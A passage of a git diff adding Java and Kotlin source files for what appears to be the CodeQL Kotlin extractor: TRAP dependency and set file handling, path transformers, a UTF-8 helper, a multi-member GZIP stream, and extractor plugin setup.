+					Matcher matcher = HEADER.matcher(line);
+					if (!matcher.matches() || !matcher.group(1).equals(expected_header))
+						parseError(path);
+					commentsPermitted = false;
+					version = matcher.group(2);
+					continue;
+				}
+				// We have a non-blank line; this either names the new set, or is a line that
+				// should be put into the current set.
+				Set<String> newSet = getSet(path, line);
+				if (newSet != null) {
+					currentSet = newSet;
+				} else {
+					if (currentSet == null)
+						parseError(path);
+					else
+						currentSet.add(line);
+				}
+			}
+		} catch (IOException e) {
+			throw new ResourceError("Couldn't read " + path, e);
+		}
+	}
+	
+	/**
+	 * @return the format version of the loaded file
+	 */
+	public String version() {
+		return version;
+	}
+	
+	/**
+	 * Save this object to a file (or throw a ResourceError on failure)
+	 * 
+	 * @param file the file in which to save this object
+	 */
+	public void save(Path file) {
+		new WholeIO().strictwrite(file, toString());
+	}
+	
+	protected void appendHeaderString(StringBuilder sb, String header, String version) {
+		sb.append(header).append(' ').append(version).append('\n');
+	}
+
+	protected void appendSet(StringBuilder sb, String title, Set<String> set) {
+		sb.append('\n').append(title).append('\n');
+		for (String s : set)
+			sb.append(s).append('\n');
+	}
+	
+	protected void appendSingleton(StringBuilder sb, String title, String s) {
+		sb.append('\n').append(title).append('\n');
+		sb.append(s).append('\n');
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TrapDependencies.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TrapDependencies.java
new file mode 100644
index 00000000000..ff6880ea80e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TrapDependencies.java
@@ -0,0 +1,109 @@
+package com.semmle.util.trap.dependencies;
+
+import java.io.File;
+import java.nio.file.Path;
+import java.util.AbstractSet;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Set;
+
+import com.semmle.util.exception.ResourceError;
+
+/**
+ * The immediate dependencies of a particular TRAP file
+ */
+public class TrapDependencies extends TextFile
+{
+	static final String TRAP = "TRAP";
+
+	private String trap;
+
+	/**
+	 * Create an empty dependencies node for a TRAP file
+	 */
+	public TrapDependencies(String trap) {
+		super(TrapSet.LATEST_VERSION);
+		this.trap = trap;
+	}
+
+	/**
+	 * Load a TRAP dependencies (.dep) file
+	 * 
+	 * @param file the file to load
+	 */
+	public TrapDependencies(Path file) {
+		super(null);
+		load(TrapSet.HEADER, file);
+		if(trap == null)
+			parseError(file);
+	}
+	
+	@Override
+	protected Set<String> getSet(final Path file, String label) {
+		if(label.equals(TRAP)) {
+			return new AbstractSet<String>() {
+				@Override
+				public Iterator<String> iterator() {
+					return null;
+				}
+				@Override
+				public int size() {
+					return 0;
+				}
+				@Override
+				public boolean add(String s) {
+					if(trap != null)
+						parseError(file);
+					trap = s;
+					return true;
+				}
+			};
+		}
+		if(label.equals(TRAPS)) return traps;
+		return null;
+	}
+	
+	@Override
+	protected void parseError(Path file) {
+		throw new ResourceError("Corrupt TRAP dependencies: " + file);
+	}
+
+	/**
+	 * @return the path of the TRAP with the dependencies stored in this object
+	 *         (relative to the source location)
+	 */
+	public String trapFile() {
+		return trap;
+	}
+
+	/**
+	 * @return the paths of the TRAP file dependencies
+	 *         (relative to the trap directory)
+	 *         
+	 */
+	public Set<String> dependencies() {
+		return Collections.unmodifiableSet(traps);
+	}
+
+	/**
+	 * Add a path to a TRAP file (relative to the trap directory).
+	 * 
+	 * @param trap the path to the trap file to add
+	 */
+	public void addDependency(String trap) {
+		traps.add(trap);
+	}
+
+	/*
+	 * (non-Javadoc)
+	 * @see java.lang.Object#toString()
+	 */
+	@Override
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		appendHeaderString(sb, TrapSet.HEADER, TrapSet.LATEST_VERSION);
+		appendSingleton(sb, TRAP, trap);
+		appendSet(sb, TRAPS, traps);
+		return sb.toString();
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TrapSet.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TrapSet.java
new file mode 100644
index 00000000000..d1d6760fdbf
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/dependencies/TrapSet.java
@@ -0,0 +1,196 @@
+package com.semmle.util.trap.dependencies;
+
+import java.nio.file.Path;
+import java.util.Collections;
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+import com.semmle.util.exception.ResourceError;
+
+/**
+ * A set of source files and the TRAP files that were generated when
+ * compiling them.
+ * <p>
+ * The set of TRAP files is not necessarily sufficient to create a
+ * consistent database, unless combined with inter-TRAP dependency
+ * information from .dep files (see {@link TrapDependencies}).
+ */
+public class TrapSet extends TextFile
+{
+	static final String HEADER = "TRAP dependencies";
+	static final String LATEST_VERSION = "1.2";
+	static final String SOURCES = "SOURCES";
+	static final String INCLUDES = "INCLUDES";
+	static final String OBJECTS = "OBJECTS";
+	static final String INPUT_OBJECTS = "INPUT_OBJECTS";
+
+	// state
+	private final Set<String> sources = new LinkedHashSet<String>();
+	private final Set<String> includes = new LinkedHashSet<String>();
+	private final Set<String> objects = new LinkedHashSet<String>();
+	private final Set<String> inputObjects = new LinkedHashSet<String>();
+
+	private Path file;
+
+	/**
+	 * Create an empty TRAP set
+	 */
+	public TrapSet() {
+		super(LATEST_VERSION);
+	}
+	
+	@Override
+	protected Set<String> getSet(Path file, String label) {
+		if (label.equals(SOURCES)) return sources;
+		if (label.equals(INCLUDES)) return includes;
+		if (label.equals(OBJECTS)) return objects;
+		if (label.equals(INPUT_OBJECTS)) return inputObjects;
+		if (label.equals(TRAPS)) return traps;
+		return null;
+	}
+
+	/**
+	 * Load a TRAP set (.set) file
+	 * 
+	 * @param path the file to load
+	 */
+	public TrapSet(Path path) {
+		super(null);
+		load(HEADER, path);
+		this.file = path;
+	}
+
+	/**
+	 * Return the most recent file used when loading or saving this
+	 * trap set. If this set was constructed, rather than loaded, and
+	 * has not been saved then the result is <code>null</code>.
+	 *
+	 * @return the file or <code>null</code>
+	 */
+	public Path getFile() {
+		return file;
+	}
+	
+	@Override
+	protected void parseError(Path file) {
+		throw new ResourceError("Corrupt TRAP set: " + file);
+	}
+
+	/**
+	 * @return the paths of the source files contained in this TRAP set
+	 */
+	public Set<String> sourceFiles() {
+		return Collections.unmodifiableSet(sources);
+	}
+
+	/**
+	 * @return the paths to the include files contained in this TRAP set
+	 */
+	public Set<String> includeFiles() {
+		return Collections.unmodifiableSet(includes);
+	}
+
+	/**
+	 * @return the paths of the TRAP files contained in this TRAP set
+	 *         (relative to the trap directory)
+	 *         
+	 */
+	public Set<String> trapFiles() {
+		return Collections.unmodifiableSet(traps);
+	}
+	
+	/**
+	 * @return the object names in this TRAP set
+	 *
+	 */
+	public Set<String> objectNames() {
+		return Collections.unmodifiableSet(objects);
+	}
+
+	/**
+	 * @return the object names in this TRAP set
+	 *
+	 */
+	public Set<String> inputObjectNames() {
+		return Collections.unmodifiableSet(inputObjects);
+	}
+
+	/**
+	 * Add a fully-qualified path to a source-file.
+	 * 
+	 * @param source the path to the source file to add
+	 */
+	public void addSource(String source) {
+		sources.add(source);
+	}
+
+	/**
+	 * Add a fully-qualified path to an include-file.
+	 *
+	 * @param include the path to the include file to add
+	 */
+	public void addInclude(String include) {
+		includes.add(include);
+	}
+
+	/**
+	 * Add a path to a TRAP file (relative to the trap directory).
+	 * 
+	 * @param trap the path to the trap file to add
+	 * @return true if the path was not already present
+	 */
+	public boolean addTrap(String trap) {
+		return traps.add(trap);
+	}
+
+	/**
+	 * Check if this set contains a TRAP path
+	 * 
+	 * @param trap the path to check
+	 * @return true if this set contains the path
+	 */
+	public boolean containsTrap(String trap) {
+		return trap.contains(trap);
+	}
+
+	/**
+	 * Are the sources mentioned in this TRAP set disjoint from the given
+	 * set of paths?
+	 * 
+	 * @param paths the set of paths to check disjointness with 
+	 * @return true if and only if the paths are disjoint
+	 */
+	public boolean sourcesDisjointFrom(Set<String> paths) {
+		for (String source : sources)
+			if (paths.contains(source))
+				return false;
+		return true;
+	}
+
+	/**
+	 * Save this TRAP set to a .set file (or throw a ResourceError on failure)
+	 * 
+	 * @param file the file in which to save this set
+	 */
+	@Override
+	public void save(Path file) {
+		super.save(file);
+		this.file = file;
+	}
+
+	/*
+	 * (non-Javadoc)
+	 * @see java.lang.Object#toString()
+	 */
+	@Override
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		appendHeaderString(sb, HEADER, LATEST_VERSION);
+		appendSet(sb, SOURCES, sources);
+		appendSet(sb, INCLUDES, includes);
+		appendSet(sb, OBJECTS, objects);
+		appendSet(sb, INPUT_OBJECTS, inputObjects);
+		appendSet(sb, TRAPS, traps);
+		return sb.toString();
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/NoopTransformer.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/NoopTransformer.java
new file mode 100644
index 00000000000..5ee27b81c84
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/NoopTransformer.java
@@ -0,0 +1,8 @@
+package com.semmle.util.trap.pathtransformers;
+
+public class NoopTransformer extends PathTransformer {
+	@Override
+	public String transform(String input) {
+		return input;
+	}
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/PathTransformer.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/PathTransformer.java
new file mode 100644
index 00000000000..414e754a190
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/PathTransformer.java
@@ -0,0 +1,46 @@
+package com.semmle.util.trap.pathtransformers;
+
+import java.io.File;
+
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.process.Env;
+import com.semmle.util.process.Env.Var;
+
+public abstract class PathTransformer {
+	public abstract String transform(String input);
+
+	/**
+	 * Convert a file to its path in the (code) database. Turns file paths into
+	 * canonical, absolute, strings and normalises away Unix/Windows differences.
+	 */
+	public String fileAsDatabaseString(File file) {
+		String path;
+		if (Boolean.valueOf(Env.systemEnv().get(Var.SEMMLE_PRESERVE_SYMLINKS)))
+			path = FileUtil.simplifyPath(file);
+		else
+			path = FileUtil.tryMakeCanonical(file).getPath();
+		return transform(FileUtil.normalisePath(path));
+	}
+
+	/**
+	 * Utility method for extractors: Canonicalise the given path as required
+	 * for the current extraction. Unlike {@link FileUtil#tryMakeCanonical(File)},
+	 * this method is consistent with {@link #fileAsDatabaseString(File)}.
+	 */
+	public File canonicalFile(String path) {
+		return new File(fileAsDatabaseString(new File(path)));
+	}
+
+	private static final PathTransformer DEFAULT_TRANSFORMER;
+	static {
+		String layout = Env.systemEnv().get(Var.SEMMLE_PATH_TRANSFORMER);
+		if (layout == null)
+			DEFAULT_TRANSFORMER = new NoopTransformer();
+		else
+			DEFAULT_TRANSFORMER = new ProjectLayoutTransformer(new File(layout));
+	}
+
+	public static PathTransformer std() {
+		return DEFAULT_TRANSFORMER;
+	}
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/ProjectLayoutTransformer.java b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/ProjectLayoutTransformer.java
new file mode 100644
index 00000000000..b1bd319e150
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/trap/pathtransformers/ProjectLayoutTransformer.java
@@ -0,0 +1,37 @@
+package com.semmle.util.trap.pathtransformers;
+
+import java.io.File;
+
+import com.semmle.util.projectstructure.ProjectLayout;
+
+public class ProjectLayoutTransformer extends PathTransformer {
+	private final ProjectLayout layout;
+	
+	public ProjectLayoutTransformer(File file) {
+		layout = new ProjectLayout(file);
+	}
+	
+	@Override
+	public String transform(String input) {
+		if (isWindowsPath(input, 0)) {
+			String result = layout.artificialPath('/' + input);
+			if (result == null) {
+				return input;
+			} else if (isWindowsPath(result, 1) && result.charAt(0) == '/') {
+				return result.substring(1);
+			} else {
+				return result;
+			}
+		} else {
+			String result = layout.artificialPath(input);
+			return result != null ? result : input;
+		}
+	}
+	
+	private static boolean isWindowsPath(String s, int startAt) {
+		return s.length() >= (3 + startAt) &&
+				s.charAt(startAt) != '/' &&
+				s.charAt(startAt + 1) == ':' &&
+				s.charAt(startAt + 2) == '/';
+	}
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/unicode/UTF8Util.java b/java/kotlin-extractor/src/main/java/com/semmle/util/unicode/UTF8Util.java
new file mode 100644
index 00000000000..48e44166785
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/unicode/UTF8Util.java
@@ -0,0 +1,52 @@
+package com.semmle.util.unicode;
+
+public class UTF8Util {
+	/**
+	 * Get the length (in Unicode code units, not code points) of the longest prefix of
+	 * a string that can be UTF-8 encoded in no more than the given number of bytes.
+	 *
+	 * <p>
+	 * Unencodable characters (such as lone surrogate halves or low surrogates
+	 * that do not follow a high surrogate) are treated as being encoded in
+	 * three bytes. This is safe since on encoding they will be replaced by
+	 * a replacement character, which in turn will take at most three bytes to
+	 * encode.
+	 * </p>
+	 *
+	 * @param str string to encode
+	 * @param maxEncodedLength maximum number of bytes for the encoded prefix
+	 * @return length of the prefix
+	 */
+	public static int encodablePrefixLength(String str, int maxEncodedLength) {
+		// no character takes more than three bytes to encode
+		if (str.length() > maxEncodedLength / 3) {
+			int encodedLength = 0;
+			for (int i = 0; i < str.length(); ++i) {
+				int oldI = i;
+				char c = str.charAt(i);
+				if (c <= 0x7f) {
+					encodedLength += 1;
+				} else if (c <= 0x7ff) {
+					encodedLength += 2;
+				} else if (Character.isHighSurrogate(c)) {
+					// surrogate pairs take four bytes to encode
+					if (i+1 < str.length() && Character.isLowSurrogate(str.charAt(i+1))) {
+						encodedLength += 4;
+						++i;
+					} else {
+						// lone high surrogate, assume length three
+						encodedLength += 3;
+					}
+				} else {
+					encodedLength += 3;
+				}
+
+				if (encodedLength > maxEncodedLength) {
+					return oldI;
+				}
+			}
+		}
+
+		return str.length();
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/zip/MultiMemberGZIPInputStream.java b/java/kotlin-extractor/src/main/java/com/semmle/util/zip/MultiMemberGZIPInputStream.java
new file mode 100644
index 00000000000..85a081bd41d
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/zip/MultiMemberGZIPInputStream.java
@@ -0,0 +1,71 @@
+package com.semmle.util.zip;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PushbackInputStream;
+import java.util.zip.GZIPInputStream;
+
+public class MultiMemberGZIPInputStream extends GZIPInputStream {
+
+	public MultiMemberGZIPInputStream(InputStream in, int size) throws IOException {
+		// Wrap the stream in a PushbackInputStream...
+		super(new PushbackInputStream(in, size), size);
+		this.size = size;
+	}
+
+	public MultiMemberGZIPInputStream(InputStream in) throws IOException {
+		// Wrap the stream in a PushbackInputStream...
+		super(new PushbackInputStream(in, 1024));
+		this.size = -1;
+	}
+
+	private MultiMemberGZIPInputStream child;
+	private int size;
+	private boolean eos;
+
+	@Override
+	public int read(byte[] inputBuffer, int inputBufferOffset, int inputBufferLen) throws IOException {
+		if (eos) {
+			return -1;
+		}
+		else if (child != null) {
+			return child.read(inputBuffer, inputBufferOffset, inputBufferLen);
+		}
+		int charsRead = super.read(inputBuffer, inputBufferOffset, inputBufferLen);
+		if (charsRead == -1) {
+			// Push any remaining buffered data back onto the stream
+			// If the stream is then not empty, use it to construct
+			// a new instance of this class and delegate this and any
+			// future calls to it...
+			int n = inf.getRemaining() - 8;
+			if (n > 0) {
+				// More than 8 bytes remaining in deflater
+				// First 8 are gzip trailer. Add the rest to
+				// any un-read data...
+				((PushbackInputStream) this.in).unread(buf, len - n, n);
+			} else {
+				// Nothing in the buffer. We need to know whether or not
+				// there is unread data available in the underlying stream
+				// since the base class will not handle an empty file.
+				// Read a byte to see if there is data and if so,
+				// push it back onto the stream...
+				byte[] b = new byte[1];
+				int ret = in.read(b, 0, 1);
+				if (ret == -1) {
+					eos = true;
+					return -1;
+				} else {
+					((PushbackInputStream) this.in).unread(b, 0, 1);
+				}
+			}
+			if(size == -1)
+				child = new MultiMemberGZIPInputStream(in);
+			else
+				child = new MultiMemberGZIPInputStream(in, size);
+			return child.read(inputBuffer, inputBufferOffset, inputBufferLen);
+		} else {
+			return charsRead;
+		}
+	}
+	
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/ExternalDeclExtractor.kt b/java/kotlin-extractor/src/main/kotlin/ExternalDeclExtractor.kt
new file mode 100644
index 00000000000..003a12e236d
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/ExternalDeclExtractor.kt
@@ -0,0 +1,117 @@
+package com.github.codeql
+
+import com.github.codeql.utils.isExternalDeclaration
+import com.github.codeql.utils.isExternalFileClassMember
+import com.semmle.extractor.java.OdasaOutput
+import com.semmle.util.data.StringDigestor
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.ir.declarations.*
+import org.jetbrains.kotlin.ir.util.isFileClass
+import org.jetbrains.kotlin.ir.util.packageFqName
+import org.jetbrains.kotlin.ir.util.parentClassOrNull
+import java.io.File
+import java.util.ArrayList
+import java.util.HashSet
+import java.util.zip.GZIPOutputStream
+
+class ExternalDeclExtractor(val logger: FileLogger, val invocationTrapFile: String, val sourceFilePath: String, val primitiveTypeMapping: PrimitiveTypeMapping, val pluginContext: IrPluginContext, val globalExtensionState: KotlinExtractorGlobalState, val diagnosticTrapWriter: TrapWriter) {
+
+    val externalDeclsDone = HashSet<IrDeclaration>()
+    val externalDeclWorkList = ArrayList<Pair<IrDeclaration, String>>()
+
+    fun extractLater(d: IrDeclaration, signature: String): Boolean {
+        if (d !is IrClass && !isExternalFileClassMember(d)) {
+            logger.errorElement("External declaration is neither a class, nor a top-level declaration", d)
+            return false
+        }
+        val ret = externalDeclsDone.add(d)
+        if (ret) externalDeclWorkList.add(Pair(d, signature))
+        return ret
+    }
+
+    val propertySignature = ";property"
+    val fieldSignature = ";field"
+
+    fun extractLater(p: IrProperty) = extractLater(p, propertySignature)
+    fun extractLater(f: IrField) = extractLater(f, fieldSignature)
+
+    fun extractLater(c: IrClass) = extractLater(c, "")
+
+    fun extractExternalClasses() {
+        val output = OdasaOutput(false, logger)
+        output.setCurrentSourceFile(File(sourceFilePath))
+        do {
+            val nextBatch = ArrayList(externalDeclWorkList)
+            externalDeclWorkList.clear()
+            nextBatch.forEach { workPair ->
+                val (irDecl, possiblyLongSignature) = workPair
+                // In order to avoid excessively long signatures which can lead to trap file names longer than the filesystem
+                // limit, we truncate and add a hash to preserve uniqueness if necessary.
+                val signature = if (possiblyLongSignature.length > 100) {
+                    possiblyLongSignature.substring(0, 92) + "#" + StringDigestor.digest(possiblyLongSignature).substring(0, 8)
+                } else { possiblyLongSignature }
+                output.getTrapLockerForDecl(irDecl, signature).useAC { locker ->
+                    locker.trapFileManager.useAC { manager ->
+                        val shortName = when(irDecl) {
+                            is IrDeclarationWithName -> irDecl.name.asString()
+                            else -> "(unknown name)"
+                        }
+                        if(manager == null) {
+                            logger.info("Skipping extracting external decl $shortName")
+                        } else {
+                            val trapFile = manager.file
+                            val trapTmpFile = File.createTempFile("${trapFile.nameWithoutExtension}.", ".${trapFile.extension}.tmp", trapFile.parentFile)
+
+                            val containingClass = getContainingClassOrSelf(irDecl)
+                            if (containingClass == null) {
+                                logger.errorElement("Unable to get containing class", irDecl)
+                                return
+                            }
+                            val binaryPath = getIrClassBinaryPath(containingClass)
+                            try {
+                                GZIPOutputStream(trapTmpFile.outputStream()).bufferedWriter().use { trapFileBW ->
+                                    // We want our comments to be the first thing in the file,
+                                    // so start off with a mere TrapWriter
+                                    val tw = TrapWriter(logger.loggerBase, TrapLabelManager(), trapFileBW, diagnosticTrapWriter)
+                                    tw.writeComment("Generated by the CodeQL Kotlin extractor for external dependencies")
+                                    tw.writeComment("Part of invocation $invocationTrapFile")
+                                    if (signature != possiblyLongSignature) {
+                                        tw.writeComment("Function signature abbreviated; full signature is: $possiblyLongSignature")
+                                    }
+                                    // Now elevate to a SourceFileTrapWriter, and populate the
+                                    // file information if needed:
+                                    val ftw = tw.makeFileTrapWriter(binaryPath, irDecl is IrClass)
+
+                                    val fileExtractor = KotlinFileExtractor(logger, ftw, binaryPath, manager, this, primitiveTypeMapping, pluginContext, globalExtensionState)
+
+                                    if (irDecl is IrClass) {
+                                        // Populate a location and compilation-unit package for the file. This is similar to
+                                        // the beginning of `KotlinFileExtractor.extractFileContents` but without an `IrFile`
+                                        // to start from.
+                                        val pkg = irDecl.packageFqName?.asString() ?: ""
+                                        val pkgId = fileExtractor.extractPackage(pkg)
+                                        ftw.writeHasLocation(ftw.fileId, ftw.getWholeFileLocation())
+                                        ftw.writeCupackage(ftw.fileId, pkgId)
+
+                                        fileExtractor.extractClassSource(irDecl, extractDeclarations = !irDecl.isFileClass, extractStaticInitializer = false, extractPrivateMembers = false, extractFunctionBodies = false)
+                                    } else {
+                                        fileExtractor.extractDeclaration(irDecl, extractPrivateMembers = false, extractFunctionBodies = false)
+                                    }
+                                }
+
+                                if (!trapTmpFile.renameTo(trapFile)) {
+                                    logger.error("Failed to rename $trapTmpFile to $trapFile")
+                                }
+                            } catch (e: Exception) {
+                                manager.setHasError()
+                                logger.error("Failed to extract '$shortName'. Partial TRAP file location is $trapTmpFile", e)
+                            }
+                        }
+                    }
+                }
+            }
+        } while (externalDeclWorkList.isNotEmpty())
+        output.writeTrapSet()
+    }
+
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/KotlinExtractorCommandLineProcessor.kt b/java/kotlin-extractor/src/main/kotlin/KotlinExtractorCommandLineProcessor.kt
new file mode 100644
index 00000000000..5c29d6af54e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/KotlinExtractorCommandLineProcessor.kt
@@ -0,0 +1,74 @@
+package com.github.codeql
+
+import org.jetbrains.kotlin.compiler.plugin.AbstractCliOption
+import org.jetbrains.kotlin.compiler.plugin.CliOption
+import org.jetbrains.kotlin.compiler.plugin.CommandLineProcessor
+import org.jetbrains.kotlin.config.CompilerConfiguration
+import org.jetbrains.kotlin.config.CompilerConfigurationKey
+
+class KotlinExtractorCommandLineProcessor : CommandLineProcessor {
+    override val pluginId = "kotlin-extractor"
+
+    override val pluginOptions = listOf(
+        CliOption(
+            optionName = OPTION_INVOCATION_TRAP_FILE,
+            valueDescription = "Invocation TRAP file",
+            description = "Extractor will append invocation-related TRAP to this file",
+            required = true,
+            allowMultipleOccurrences = false
+        ),
+        CliOption(
+            optionName = OPTION_CHECK_TRAP_IDENTICAL,
+            valueDescription = "Check whether different invocations produce identical TRAP",
+            description = "Check whether different invocations produce identical TRAP",
+            required = false,
+            allowMultipleOccurrences = false
+        ),
+        CliOption(
+            optionName = OPTION_COMPILATION_STARTTIME,
+            valueDescription = "The start time of the compilation as a Unix timestamp",
+            description = "The start time of the compilation as a Unix timestamp",
+            required = false,
+            allowMultipleOccurrences = false
+        ),
+        CliOption(
+            optionName = OPTION_EXIT_AFTER_EXTRACTION,
+            valueDescription = "Specify whether to call exitProcess after the extraction has completed",
+            description = "Specify whether to call exitProcess after the extraction has completed",
+            required = false,
+            allowMultipleOccurrences = false
+        )
+    )
+
+    override fun processOption(
+        option: AbstractCliOption,
+        value: String,
+        configuration: CompilerConfiguration
+    ) = when (option.optionName) {
+        OPTION_INVOCATION_TRAP_FILE -> configuration.put(KEY_INVOCATION_TRAP_FILE, value)
+        OPTION_CHECK_TRAP_IDENTICAL -> processBooleanOption(value, OPTION_CHECK_TRAP_IDENTICAL, KEY_CHECK_TRAP_IDENTICAL, configuration)
+        OPTION_EXIT_AFTER_EXTRACTION -> processBooleanOption(value, OPTION_EXIT_AFTER_EXTRACTION, KEY_EXIT_AFTER_EXTRACTION, configuration)
+        OPTION_COMPILATION_STARTTIME ->
+            when (val v = value.toLongOrNull()) {
+                is Long -> configuration.put(KEY_COMPILATION_STARTTIME, v)
+                else -> error("kotlin extractor: Bad argument $value for $OPTION_COMPILATION_STARTTIME")
+            }
+        else -> error("kotlin extractor: Bad option: ${option.optionName}")
+    }
+
+    private fun processBooleanOption(value: String, optionName: String, configKey: CompilerConfigurationKey<Boolean>, configuration: CompilerConfiguration) =
+        when (value) {
+            "true" -> configuration.put(configKey, true)
+            "false" -> configuration.put(configKey, false)
+            else -> error("kotlin extractor: Bad argument $value for $optionName")
+    }
+}
+
+private val OPTION_INVOCATION_TRAP_FILE = "invocationTrapFile"
+val KEY_INVOCATION_TRAP_FILE = CompilerConfigurationKey<String>(OPTION_INVOCATION_TRAP_FILE)
+private val OPTION_CHECK_TRAP_IDENTICAL = "checkTrapIdentical"
+val KEY_CHECK_TRAP_IDENTICAL= CompilerConfigurationKey<Boolean>(OPTION_CHECK_TRAP_IDENTICAL)
+private val OPTION_COMPILATION_STARTTIME = "compilationStartTime"
+val KEY_COMPILATION_STARTTIME= CompilerConfigurationKey<Long>(OPTION_COMPILATION_STARTTIME)
+private val OPTION_EXIT_AFTER_EXTRACTION = "exitAfterExtraction"
+val KEY_EXIT_AFTER_EXTRACTION= CompilerConfigurationKey<Boolean>(OPTION_EXIT_AFTER_EXTRACTION)
diff --git a/java/kotlin-extractor/src/main/kotlin/KotlinExtractorComponentRegistrar.kt b/java/kotlin-extractor/src/main/kotlin/KotlinExtractorComponentRegistrar.kt
new file mode 100644
index 00000000000..daee156d58c
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/KotlinExtractorComponentRegistrar.kt
@@ -0,0 +1,23 @@
+package com.github.codeql
+
+import org.jetbrains.kotlin.backend.common.extensions.IrGenerationExtension
+import com.intellij.mock.MockProject
+import org.jetbrains.kotlin.compiler.plugin.ComponentRegistrar
+import org.jetbrains.kotlin.config.CompilerConfiguration
+
+class KotlinExtractorComponentRegistrar : ComponentRegistrar {
+    override fun registerProjectComponents(
+        project: MockProject,
+        configuration: CompilerConfiguration
+    ) {
+        val invocationTrapFile = configuration[KEY_INVOCATION_TRAP_FILE]
+        if (invocationTrapFile == null) {
+            throw Exception("Required argument for TRAP invocation file not given")
+        }
+        IrGenerationExtension.registerExtension(project, KotlinExtractorExtension(
+            invocationTrapFile,
+            configuration[KEY_CHECK_TRAP_IDENTICAL] ?: false,
+            configuration[KEY_COMPILATION_STARTTIME],
+            configuration[KEY_EXIT_AFTER_EXTRACTION] ?: false))
+    }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/KotlinExtractorExtension.kt b/java/kotlin-extractor/src/main/kotlin/KotlinExtractorExtension.kt
new file mode 100644
index 00000000000..c0a26c66f7e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/KotlinExtractorExtension.kt
@@ -0,0 +1,324 @@
+package com.github.codeql
+
+import org.jetbrains.kotlin.backend.common.extensions.IrGenerationExtension
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.ir.declarations.*
+import org.jetbrains.kotlin.ir.util.*
+import org.jetbrains.kotlin.ir.IrElement
+import java.io.File
+import java.io.FileOutputStream
+import java.lang.management.*
+import java.nio.file.Files
+import java.nio.file.Paths
+import com.semmle.util.files.FileUtil
+import kotlin.system.exitProcess
+
+/*
+ * KotlinExtractorExtension is the main entry point of the CodeQL Kotlin
+ * extractor. When the jar is used as a kotlinc plugin, kotlinc will
+ * call the `generate` method.
+ */
+class KotlinExtractorExtension(
+    // The filepath for the invocation TRAP file.
+    // This TRAP file is for this invocation of the extractor as a
+    // whole, not tied to a particular source file. It contains
+    // information about which files this invocation compiled, and
+    // any warnings or errors encountered during the invocation.
+    private val invocationTrapFile: String,
+    // By default, if a TRAP file we want to generate for a source
+    // file already exists, then we will do nothing. If this is set,
+    // then we will instead generate the TRAP file, and give a
+    // warning if we would generate different TRAP to that which
+    // already exists.
+    private val checkTrapIdentical: Boolean,
+    // If non-null, then this is the number of milliseconds since
+    // midnight, January 1, 1970 UTC (as returned by Java's
+    // `System.currentTimeMillis()`. If this is given, then it is used
+    // to record the time taken to compile the source code, which is
+    // presumed to be the difference between this time and the time
+    // that this plugin is invoked.
+    private val compilationStartTime: Long?,
+    // Under normal conditions, the extractor runs during a build of
+    // the project, and kotlinc continues after the plugin has finished.
+    // If the plugin is being used independently of a build, then this
+    // can be set to true to make the plugin terminate the kotlinc
+    // invocation when it has finished. This means that kotlinc will not
+    // write any `.class` files etc.
+    private val exitAfterExtraction: Boolean)
+    : IrGenerationExtension {
+
+    // This is the main entry point to the extractor.
+    // It will be called by kotlinc with the IR for the files being
+    // compiled in `moduleFragment`, and `pluginContext` providing
+    // various utility functions.
+    override fun generate(moduleFragment: IrModuleFragment, pluginContext: IrPluginContext) {
+        try {
+            runExtractor(moduleFragment, pluginContext)
+        // We catch Throwable rather than Exception, as we want to
+        // continue trying to extract everything else even if we get a
+        // stack overflow or an assertion failure in one file.
+        } catch(e: Throwable) {
+            // If we get an exception at the top level, then something's
+            // gone very wrong. Don't try to be too fancy, but try to
+            // log a simple message.
+            val msg = "[ERROR] CodeQL Kotlin extractor: Top-level exception."
+            // First, if we can find our log directory, then let's try
+            // making a log file there:
+            val extractorLogDir = System.getenv("CODEQL_EXTRACTOR_JAVA_LOG_DIR")
+            if (extractorLogDir != null || extractorLogDir != "") {
+                // We use a slightly different filename pattern compared
+                // to normal logs. Just the existence of a `-top` log is
+                // a sign that something's gone very wrong.
+                val logFile = File.createTempFile("kotlin-extractor-top.", ".log", File(extractorLogDir))
+                logFile.writeText(msg)
+                // Now we've got that out, let's see if we can append a stack trace too
+                logFile.appendText(e.stackTraceToString())
+            } else {
+                // We don't have much choice here except to print to
+                // stderr and hope for the best.
+                System.err.println(msg)
